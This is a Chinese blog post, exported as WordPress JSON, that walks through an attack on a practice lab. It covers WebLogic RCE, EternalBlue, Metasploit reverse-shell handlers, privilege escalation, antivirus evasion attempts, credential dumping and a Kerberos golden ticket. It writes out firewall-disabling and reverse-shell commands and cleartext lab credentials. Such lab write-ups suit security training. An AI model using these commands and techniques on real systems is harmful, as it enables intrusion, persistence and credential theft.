{"id":867,"date":"2024-09-22T23:19:22","date_gmt":"2024-09-22T15:19:22","guid":{"rendered":"https:\/\/www.nightying.com\/?p=867"},"modified":"2024-09-23T23:41:29","modified_gmt":"2024-09-23T15:41:29","slug":"hongrisec2","status":"publish","type":"post","link":"https:\/\/www.nightying.com\/index.php\/2024\/09\/22\/hongrisec2\/","title":{"rendered":"\u7ea2\u65e5\u9776\u573a2"},"content":{"rendered":"\n

CS\u5173\u9632\u706b\u5899\uff1a<\/p>\n\n\n\n

shell netsh advfirewall show all state  \t\t  \/\/\u67e5\u770b\u9632\u706b\u5899\u72b6\u6001\nshell netsh advfirewall set allprofile state off  \/\/\u5173\u95ed\u9632\u706b\u5899<\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u73af\u5883\uff1a<\/p>\n\n\n\n
172.18.129.250<\/p>\n\n\n\n
172.18.129.249<\/p>\n\n\n\n
\u524d\u671f\u6e17\u900f<\/p>\n\n\n\n
\u8d77\u624b\u4e00\u4e2agoby\uff1a<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u90fd\u5f00\u4e86445\u7aef\u53e3\uff0c\u6709\u4e00\u4e2amssql\uff0c\u4e24\u4e2ahttp<\/p>\n\n\n\n
\u65e2\u7136\u662f\u9776\u573a\uff0c\u8d77\u624bfscan\u626b\u626b\uff0c\u4e0d\u51fa\u6240\u6599\uff0c\u4e24\u4e2ams17010\uff0c\u8fd8\u6709\u4e2aweblogic\uff0c\u7b49\u4f1a\u5148\u8bd5\u8bd5ms17010<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e0a\u53f7\uff01<\/p>\n\n\n\n
msf<\/p>\n\n\n\n
msfconsole\n\u627e\u65b9\u5f0f\nsearch ms17-010\nuse \/windows\/smb\/ms17_010_eternalblue\nset rhost 172.18.129.250\nset lport 15554\nrun<\/code><\/pre>\n\n\n\n
\u5931\u8d25\u4e86\uff0c\u4e3b\u52a8\u65ad\u5f00\uff0c\u4e00\u822c\u662f\u9632\u706b\u5899\u6216\u8005\u6740\u6bd2\u8f6f\u4ef6<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u597d\u597d\u597d\uff0c360\u62e6\u4f4f\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u90a3\u4e0d\u51fa\u610f\u5916\uff0c249\u4e5f\u4f1a\u88ab\u62e6\uff08\u8fd9\u73a9\u610f\u8fd8\u662f32\u4f4d\u7684\uff09<\/p>\n\n\n\n
\u6ca1\u62e6\uff0c\u4f46\u662f\u7cfb\u7edf\u4e0a\u6ca1named pipe\u547d\u540d\u7ba1\u9053\uff0c\u5229\u7528\u4e0d\u8d77\u6765<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u90a3\u5c31\u53ea\u80fd\u6253weblogic\u4e86<\/p>\n\n\n\n
\u76f4\u63a5\u4e0aweblogictool\uff08\u771f\u7684\uff0c\u8fd9\u4e2a\u6d1e\u6211\u5c31\u6ca1\u5728\u5b9e\u6218\u4e2d\u5229\u7528\u8d77\u6765\u8fc7\uff09\uff08\u4e5f\u53ef\u4ee5\u7528weblogicscan\uff09<\/p>\n\n\n\n
\uff08\u6211\u53d1\u73b0\u4fe9\u5de5\u5177\u626b\u5230\u7684\u6f0f\u6d1e\u4e0d\u592a\u4e00\u6837\uff0c\u6709\u65f6\u5019\u6ca1\u601d\u8def\u53ef\u4ee5\u6362\u4e00\u4e2a\u5de5\u5177\u770b\u770b\uff09<\/p>\n\n\n\n
https:\/\/github.com\/KimJun1010\/WeblogicTool\/releases\/tag\/v1.3<\/a><\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e00\u5806\u6d1e\u3002\u3002\u80fdRCE\uff0c\u4e0a\u4e2a\u5185\u5b58\u7801\u770b\u770b<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
http:\/\/172.18.129.250:7001\/bea_wls_internal\/index.html?size=1<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53bb\u4e0b\u4e2a\u63d2\u4ef6\uff1ahttps:\/\/github.com\/yzddmr6\/As-Exploits<\/a>\uff08\u4e3b\u8981\u662f\u63d2\u4ef6\u5546\u57ce\u7684\u7248\u672c\u592a\u4f4e\uff09<\/p>\n\n\n\n
\u653e\u5728\u8681\u5251\u76ee\u5f55\u7684antData\\plugins\u4e0b\uff0c\u91cd\u542f<\/p>\n\n\n\n
\u597d\u597d\u597d\uff0c\u8fde\u4e0d\u4e0a<\/p>\n\n\n\n
\u6362\u51b0\u874e\u7684\u8bd5\u8bd5<\/p>\n\n\n\n
http:\/\/172.18.129.250:7001\/bea_wls_internal\/applicationSingletonProvider<\/p>\n\n\n\n
\u8fd8\u5f97\u662f\u51b0\u874e\uff0c\u8681\u5251\u5185\u5b58\u9a6c\u6211\u5c31\u6ca1\u6210\u529f\u4e0a\u8fc7\u4e00\u6b21<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5e94\u8be5\u8981\u63d0\u6743\uff0c\u5148\u4e0aCS<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53cd\u5f39shell<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8349\uff0c\u53cd\u5f39\u5185\u5b58\u9a6c\u6574\u4e2aweb\u8fdb\u7a0b\u6ca1\u4e86<\/p>\n\n\n\n
\u90a3\u5c31\u770b\u770b\u6709\u6ca1\u6709\u5176\u4ed6\u529e\u6cd5<\/p>\n\n\n\n
\u5148\u4fe1\u606f\u6536\u96c6\u770b\u770b<\/p>\n\n\n\n
X64\u7cfb\u7edf\uff0c\u57dfdelay.com\uff0cwindows 2008 R2 Server<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8fd8\u662f\u8d70\u4e00\u4e0b\u6d41\u7a0btasklist \/SVC<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6740\u8f6f\u662f360<\/p>\n\n\n\n
\u60f3\u5f39powershell\uff0c\u7ed3\u679c<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e0a\u4f20\u4e86\u4e2aCS\u7801\uff0c\u8fd0\u884c\u4e00\u4e0b\u5c31<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6211\u7814\u7a76\u4e00\u4e0b\uff0c\u8fd9\u4e2a\u5230\u5e95\u662fweb\u6267\u884c\u547d\u4ee4\u88ab\u62e6\u622a\u5bfc\u81f4\u65e0\u6cd5\u8fd0\u884c\uff0c\u8fd8\u662f\u8bf4\uff0c\u6587\u4ef6\u662f\u88ab360\u5224\u65ad\u4e3a\u98ce\u9669\u6587\u4ef6\uff0c\u624d\u65e0\u6cd5\u8fd0\u884c<\/p>\n\n\n\n
\u80fd\u6b63\u5e38\u6253\u5f00\u5b89\u88c5\u5305\u548ctxt\u4e4b\u7c7b\u7684\u6587\u4ef6<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4f46\u662f\u4e0d\u8ba9\u6253\u5f00powershell\u548cCS\u7801\uff0c\u5927\u6982\u7387\u662f\u7801\u5b50\u6ca1\u8fc7\u514d\u6740\uff0c\u4ee5\u53ca\u4e0d\u8ba9\u8c03\u7528powershell\u7b49\u9650\u5236<\/p>\n\n\n\n
\u627e\u4e2a\u7b80\u5355\u514d\u6740\u8bd5\u8bd5\u770b<\/p>\n\n\n\n
https:\/\/mp.weixin.qq.com\/s\/8QfGdycxGquI9WMlLT1UXQ<\/a><\/p>\n\n\n\n
\u6b65\u9aa4\u6211\u5c31\u4e0d\u8d34\u4e86\uff0c\u6211\u76f4\u63a5\u7528\u7ed3\u679c\uff0c\u8fd8\u662f\u88ab\u62e6\u4e86\uff0c\u611f\u89c9\u662f\u4e0d\u80fd\u76f4\u63a5\u6267\u884c\u672a\u8ba4\u8bc1\u8fc7\u7684exe\u6587\u4ef6\uff0c\u53cc\u51fb\u8fd0\u884c\u4f1a\u88ab\u67e5\u6740\u4e3a\u6728\u9a6c<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u7b97\u4e86\uff0c\u6211\u4e0amsf\u770b\u770b<\/p>\n\n\n\n
msfconsole\nuse exploit\/multi\/handler\nset payload java\/jsp_shell_reverse_tcp\nset lhost 172.18.124.194\nset lport 15432\nrun<\/code><\/pre>\n\n\n\n
\u6210\u529f\u4e0a\u7ebfmsf\uff0c\u6293\u4e2a\u5bc6\u7801\uff0c\u5f003389\u53bb\u628a\u8fd9\u4e07\u6076\u7684360\u5173\u4e86\uff01<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u602a\u602a\u7684\uff0c\u4e0d\u80fd\u6267\u884cmsf\u7684\u547d\u4ee4\uff0c\u66f4\u50cf\u76f4\u63a5\u628a\u51b0\u874e\u7801\u7684cmd\u6743\u9650\u7ed9\u4e86msf<\/p>\n\n\n\n
\u5e94\u8be5\u662fpayload\u7684\u95ee\u9898\uff0cjsp_shell_reverse_tcp\u76f8\u5f53\u4e8e\u53ea\u7ed9\u4e86cmd<\/p>\n\n\n\n
\u54e5\u65af\u62c9\u7684\u53cd\u5f39shell\u53ef\u4ee5\u7528set payload windows\/meterpreter\/reverse_tcp\uff0c\u80fd\u6267\u884cmsf\u547d\u4ee4\uff08\u8bb0\u4f4f\u4e0d\u662fJMeterpreter\uff0c\u800c\u662fShellcodeLoader\u7684meterpreter\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
msfconsole\nuse exploit\/multi\/handler\nset payload windows\/meterpreter\/reverse_tcp\nset lhost 172.18.124.194\nset lport 15431\nrun<\/code><\/pre>\n\n\n\n
\u4e0a\u7ebf\u6210\u529f\uff08\u8fd9\u4e2a\u65f6\u5019\u53ef\u4ee5\u76f4\u63a5\u4e0a\u4e2a\u514d\u6740\u9a6c\u8fd0\u884cCS\u540e\u95e8\u4e86\uff0c\u5948\u4f55\u6211\u4e0d\u4f1a\u514d\u6740\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u56e0\u4e3a\u6709\u6740\u8f6f\uff0c\u8fc1\u79fb\u4fdd\u8bc1\u4e00\u4e0b<\/p>\n\n\n\n
ps\n\u8fc1\u79fb\u4e00\u4e0b\uff08\u8fc1\u79fb\u53ef\u4ee5\u628ax86\u53d8\u6210x64\uff09\nmigrate 2320<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5148\u63d0\u6743\u5230system\uff0c\u540e\u6293\u5bc6\u7801<\/p>\n\n\n\n
\u5c1d\u8bd5\u4e86\u8fc1\u79fb\u5230\u9ad8\u6743\u9650\u4ee5\u53camsf\u81ea\u5e26\u7684\u63d0\u6743\uff0c\u90fd\u5931\u8d25\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
use exploit\/windows\/local\/bypassuac\u4e5f\u5931\u8d25\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
use exploit\/windows\/local\/bypassuac_injection\u4e5f\u5931\u8d25\uff0c\u53ea\u80fd\u662f64\u4f4d\u7684\uff0c\u4f46\u662f\u73b0\u5728\u7684\u540e\u95e8\u662f32\u7684<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8f6c\u79fb\u5230CS\u63d0\u6743\u7b97\u4e86<\/p>\n\n\n\n
\u5148systeminfo\u770b\u770b<\/p>\n\n\n\n
https:\/\/www.adminxe.com\/win-exp<\/a><\/p>\n\n\n\n
\u6709\u70c2\u571f\u8c46MS16-032\u548cMS15-051<\/p>\n\n\n\n
\u4e0aCS\u770b\u770b<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u901a\u8fc7msf\u8fde\u4e0acs\u7684\u76d1\u542c\u5668\uff0c\u5e76\u4e14\u8bbe\u7f6e\u7981\u6b62\u751f\u6210\u4e00\u4e2a\u65b0\u7684\u76d1\u542c\u6765\u670d\u52a1payload\u8fde\u63a5<\/p>\n\n\n\n
use exploit\/windows\/local\/payload_inject\n\nset payload windows\/meterpreter\/reverse_http\nset lhost 172.18.129.245\nset lport 14444\nset session 1\nset DisablePayloadHandler true\nrun<\/code><\/pre>\n\n\n\n
\u6210\u529f\u4e0a\u7ebf<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u51c6\u5907\u63d0\u6743<\/p>\n\n\n\n
ms16032\u63d0\u6743\u5931\u8d25\uff0c\u53ea\u67092\u6838\u65e0\u6cd5\u63d0\u6743<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
ms15-051\u63d0\u6743\u6210\u529f<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8349\uff0c\u6267\u884c\u4e2awhoami\uff0c\u8fd9\u90fd\u80fd\u7ed9\u6211\u62e6\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u3002\u3002\u633a\u65e0\u8bed\uff0c\u53ea\u80fd\u5f39\u56de\u53bb\u7ed9msf\u6293\u5bc6\u7801\u4e86\uff08\u5177\u4f53\u600e\u4e48\u4f20\u7ed9msf\uff0c\u53bb\u770b\u7ea2\u65e5\u9776\u573a1\u7684wp\uff09<\/p>\n\n\n\n
use exploit\/multi\/handler \nset payload windows\/meterpreter\/reverse_http\nset lhost 172.18.124.194\nset lport 12313<\/code><\/pre>\n\n\n\n
\u4e0d\u662f\uff0c\u4f20\u56de\u53bb\u4e5f\u62e6\u554a<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u3002\u3002\u8fd9\u4e2a\u63d0\u6743\u8ddf\u6ca1\u63d0\u4e00\u6837\uff0c\u6267\u884c\u4ec0\u4e48\u90fd\u88ab360\u62e6\u4f4f\uff0c\u6211\u770b\u522b\u4eba\u5199\u7684wp\u6839\u672c\u6ca1\u90a3\u4e48\u9ebb\u70e6\uff0c\u751a\u81f3\u63d0\u6743\u90fd\u4e0d\u7528\uff0c\u6211\u8fd9\u7b80\u76f4\u5c31\u662f\u5728\u7ed9\u81ea\u5df1\u627e\u96be\u5ea6<\/p>\n\n\n\n
\u6ca1\u601d\u8def\u4e86\uff0c\u6211\u53bb\u901b\u4e00\u901b\u522b\u4eba\u7684wp\uff0c\u4ed6\u4eec\u96be\u5ea6\u90fd\u6bd4\u6211\u7684\u4f4e\uff0c\u95ee\u4e86\u95ee\u6211\u5b66\u957f\uff0c\u8981\u60f3\u7ed5\u8fc7\uff0c\u5f97\u7ed9\u63d0\u6743\u63d2\u4ef6\u4e5f\u505a\u514d\u6740\uff0c\u7801\u4e5f\u8981\u514d\u6740\uff0c\u6211\u53bb\u968f\u4fbf\u4e0b\u4e86\u4e00\u4e2a\u6700\u65b0\u7684\u516c\u5f00\u514d\u6740\u5de5\u5177\uff0c\u7ed3\u679c\u88ab\u6740\u4e86\u3002<\/p>\n\n\n\n
\u7136\u540e\u770b\u4e86\u4e00\u773c360\u75c5\u6bd2\u5e93\uff0c\u66f4\u65b0\u4e86\uff0c\u602a\u4e0d\u5f97\u3002\u3002<\/p>\n\n\n\n
\u7b97\u4e86\uff0c\u514d\u6740\u4e4b\u540e\u518d\u5b66\uff0c\u73b0\u5728\u8df3\u8fc7\uff0c\u5148\u628a\u5185\u7f51\u73a9\u900f<\/p>\n\n\n\n
\u5185\u7f51\u6a2a\u5411<\/h2>\n\n\n\n
\u5148\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n
\u6293\u4e2a\u5bc6\u7801
<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u672c\u5730\u8d26\u6237WEB\/delay    1QAZ@WSX<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u57df\u7528\u6237DE1AY\/mssql   1qaz@WSX<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u67e5\u770b\u57df\u673a\u5668<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u4e0a\u4e2afscan<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
10.10.10.10\u662fDC\uff08\u90a3\u53f0PC\u5c45\u7136\u626b\u4e0d\u5230\uff09<\/p>\n\n\n\n
CS\u7684arp\u626b\u5230\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u73b0\u5728\u786e\u8ba4\u653b\u51fb\u76ee\u6807\uff0c\u4e00\u53f0\u57df\u63a710.10.10.10\uff0c\u4e00\u53f0PC 10.10.10.201<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u57df\u63a7\u7528MS17-010\uff0c\u4e0a\u4e2a\u7ebf\u770b\u770b\uff08\u4e0d\u77e5\u9053\u4ed6\u4eec\u4e3a\u4ec0\u4e48\u6293hash\u80fd\u6293\u5230administrator\u7684\u660e\u6587\u5bc6\u7801\uff0c\u6211\u8fd9\u8fb9\u6293\u4e0d\u5230\uff09<\/p>\n\n\n\n
\u4f20\u4e2a\u63d0\u6743\u9a6c\u7ed9msf\uff0c\u7136\u540ems17010\u8bd5\u8bd5\u770b<\/p>\n\n\n\n
\u6dfb\u52a0\u4e2a\u8def\u7531<\/p>\n\n\n\n
run autoroute -s 10.10.10.0 255.255.255.0\nrun autoroute -p<\/code><\/pre>\n\n\n\n
\u4e0ams17-010!<\/p>\n\n\n\n
use exploit\/windows\/smb\/ms17_010_eternalblue\nset rhost 10.10.10.10\nset lhost 172.18.124.194\nset lport 15678\nrun<\/code><\/pre>\n\n\n\n
\u5229\u7528\u6210\u529f\uff0c\u4f46\u662f\u4f1a\u8bdd\u6ca1\u5f39\u56de\u6765<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u84dd\u5c4f\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
command\u4e5f\u8dd1\u4e0d\u8d77\u6765<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6ca1\u601d\u8def\u4e86<\/p>\n\n\n\n
\u5176\u4ed6\u4eba\u7684wp\u90fd\u662fweb\u4e0a\u6293\u5230\u57df\u63a7\u660e\u6587\uff0c\u7136\u540e\u76f4\u63a5paexec\u4e0a\u53bb\uff0c\u4f46\u662f\u6211\u8fd9\u6293\u4e0d\u5230<\/p>\n\n\n\n
\u65e0\u5948\uff0c\u624b\u586b\u4e0a\u7ebf\uff08\u771f\u6ca1\u601d\u8def\u4e86\uff0c\u53ea\u80fd\u8bf4\u5047\u88c5\u6293\u5230\u5bc6\u7801\u4e86\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<\/p>\n\n\n\n
PC\u6e17\u900f<\/h2>\n\n\n\n
\u5148\u5728\u57df\u63a7\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5c1d\u8bd5\u4e86paexec\uff0c\u53d1\u73b0\u6b7b\u6d3b\u4e0a\u4e0d\u53bbPC\uff0c\u540e\u9762\u53d1\u73b0\uff0cPC\u4e3b\u673a\u5f00\u7740\u9632\u706b\u5899\uff0c\u6839\u672c\u6ca1\u52a0\u57df\uff0c\u53ef\u4ee5\u4f7f\u7528net view\u67e5\u770b<\/p>\n\n\n\n
\u4f46\u662f\u6211\u4e4b\u524d\u628a\u57df\u7684SMB\u6253\u5d29\u4e86\u3002\u3002\u73b0\u5728net view\u6839\u672c\u4ec0\u4e48\u90fd\u770b\u4e0d\u89c1\uff0cPC\u4e5f\u52a0\u4e0d\u4e86\u57df\uff0c\u73af\u5883\u70b8\u4e86\uff08MS17010\u614e\u7528\uff09<\/p>\n\n\n\n
\u5b8c\u7ed3\uff0c\u51c6\u5907\u7ea2\u65e53<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u9ec4\u91d1\u7968\u636e<\/h2>\n\n\n\n
\u57df\u63a7\u7684KRBTGT\u8d26\u53f7\u975e\u5e38\u91cd\u8981<\/p>\n\n\n\n
\u83b7\u53d6\u76f8\u5173KRBTGT\u8d26\u53f7hash\u548c\u666e\u901a\u57df\u7528\u6237\u6743\u9650\u65f6\u53ef\u4ee5\u7528\u9ec4\u91d1\u7968\u636e\u83b7\u5f97\u57df\u7ba1\u7406\u5458\u6743\u9650<\/p>\n\n\n\n
\u9ec4\u91d1\u7968\u636e\u53ef\u4ee5\u5728\u62e5\u6709\u666e\u901a\u57df\u7528\u6237\u6743\u9650\u548cKRBTGT\u8d26\u53f7\u7684\u54c8\u5e0c\u7684\u60c5\u51b5\u4e0b\u7528\u6765\u83b7\u53d6\u57df\u7ba1\u7406\u5458\u6743\u9650\uff0c\u4e0a\u9762\u5df2\u7ecf\u83b7\u5f97\u57df\u63a7\u7684 system \u6743\u9650\u4e86\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528\u9ec4\u91d1\u7968\u636e\u505a\u6743\u9650\u7ef4\u6301\u3002\u5f53\u57df\u63a7\u6743\u9650\u6389\u540e\uff0c\u901a\u8fc7\u57df\u5185\u5176\u4ed6\u4efb\u610f\u673a\u5668\u4f2a\u9020\u7968\u636e\u91cd\u65b0\u83b7\u53d6\u6700\u9ad8\u6743\u9650\u3002<\/p>\n\n\n\n
\u9ec4\u91d1\u7968\u636e\u4f2a\u9020\u9700\u8981\uff1a<\/p>\n\n\n\n
krbtgt\u7684hash\uff1a82dfc71b72a11ef37d663047bc2088fb<\/p>\n\n\n\n
\u57df\u7684SID\uff1aS-1-5-21-2756371121-2868759905-3853650604-1001<\/p>\n\n\n\n
\u57df\u540d\uff1ade1ay.com<\/p>\n\n\n\n
\u4f2a\u9020\u7528\u6237\u540d\uff1a\u968f\u4fbf\u8f93<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5728WEB\u4e0a\u751f\u6210\u9ec4\u91d1\u7968\u636e\uff0c\u70b9\u51fbbuild<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u7136\u540e\u5c31\u53ef\u4ee5\u8fdc\u7a0bdir \u57df\u63a7 C\u76d8\uff08\u6211\u73af\u5883\u70b8\u4e86\uff0c\u6ca1\u6709\u56fe\uff09<\/p>\n\n\n\n
shell dir \\\\10.10.10.10\\c$<\/code><\/pre>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
CS\u5173\u9632\u706b\u5899\uff1a \u73af\u5883\uff1a 172.18.129.250 172.18.129.249 \u524d\u671f\u6e17\u900f \u8d77\u624b\u4e00\u4e2agoby […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-867","post","type-post","status-publish","format-standard","hentry","category-shentouceshi"],"_links":{"self":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/867","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/comments?post=867"}],"version-history":[{"count":62,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/867\/revisions"}],"predecessor-version":[{"id":989,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/867\/revisions\/989"}],"wp:attachment":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/media?parent=867"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/categories?post=867"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/tags?post=867"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}